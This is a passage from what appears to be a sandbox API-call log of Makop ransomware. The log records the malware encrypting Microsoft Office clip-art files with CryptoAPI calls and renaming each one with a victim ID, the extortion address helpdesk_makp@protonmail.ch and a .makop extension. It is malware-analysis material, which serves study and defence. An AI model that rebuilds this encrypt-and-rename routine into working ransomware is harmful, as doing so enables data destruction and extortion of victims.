lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe90, lpOverlapped=0x0) returned 1 [0152.145] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.146] SetEndOfFile (hFile=0xf0) returned 1 [0152.152] GetProcessHeap () returned 0x48a0000 [0152.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.152] GetProcessHeap () returned 0x48a0000 [0152.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.152] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.154] CloseHandle (hObject=0xf0) returned 1 [0152.154] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26de00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26de00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02253_.WMF", cAlternateFileName="")) returned 1 [0152.154] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF") returned 63 [0152.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.155] GetProcessHeap () returned 0x48a0000 [0152.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.156] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.156] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.156] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.156] GetProcessHeap () returned 0x48a0000 [0152.156] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.156] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.156] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.156] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.161] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.162] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.162] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.162] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.162] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8e0, lpOverlapped=0x0) returned 1 [0152.162] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0) returned 1 [0152.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8e0, lpOverlapped=0x0) returned 1 [0152.163] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.163] SetEndOfFile (hFile=0xf0) returned 1 [0152.169] GetProcessHeap () returned 0x48a0000 [0152.169] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.169] GetProcessHeap () returned 0x48a0000 [0152.169] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.169] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.171] CloseHandle (hObject=0xf0) returned 1 [0152.171] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1436bc00, ftCreationTime.dwHighDateTime=0x1bd4be4, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1436bc00, ftLastWriteTime.dwHighDateTime=0x1bd4be4, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02261_.WMF", cAlternateFileName="")) returned 1 [0152.171] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF") returned 63 [0152.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.173] GetProcessHeap () returned 0x48a0000 [0152.174] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.174] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.174] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.178] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.178] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.178] GetProcessHeap () returned 0x48a0000 [0152.178] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.178] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.178] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.178] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.180] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.180] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.180] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x818, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x818, lpOverlapped=0x0) returned 1 [0152.180] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820, dwBufLen=0x820 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x820) returned 1 [0152.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.180] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x820, lpOverlapped=0x0) returned 1 [0152.180] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.180] SetEndOfFile (hFile=0xf0) returned 1 [0152.186] GetProcessHeap () returned 0x48a0000 [0152.186] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.186] GetProcessHeap () returned 0x48a0000 [0152.186] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.186] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.188] CloseHandle (hObject=0xf0) returned 1 [0152.188] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be44f00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3be44f00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02263_.WMF", cAlternateFileName="")) returned 1 [0152.190] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF") returned 63 [0152.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.191] GetProcessHeap () returned 0x48a0000 [0152.191] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.191] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.191] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0152.195] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.195] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.195] GetProcessHeap () returned 0x48a0000 [0152.195] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.196] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.196] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.196] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.196] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.196] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.196] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.196] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.196] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.197] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.197] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.197] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa94, lpOverlapped=0x0) returned 1 [0152.197] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaa0, dwBufLen=0xaa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaa0) returned 1 [0152.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaa0, lpOverlapped=0x0) returned 1 [0152.197] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.198] SetEndOfFile (hFile=0xf0) returned 1 [0152.203] GetProcessHeap () returned 0x48a0000 [0152.203] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.203] GetProcessHeap () returned 0x48a0000 [0152.203] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.203] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.208] CloseHandle (hObject=0xf0) returned 1 [0152.208] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325ae700, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x325ae700, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02265_.WMF", cAlternateFileName="")) returned 1 [0152.208] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF") returned 63 [0152.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.209] GetProcessHeap () returned 0x48a0000 [0152.209] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.209] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.210] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.214] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.214] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.214] GetProcessHeap () returned 0x48a0000 [0152.214] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.214] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.214] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.214] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.214] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.214] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.215] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.215] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.215] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.215] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x38c, 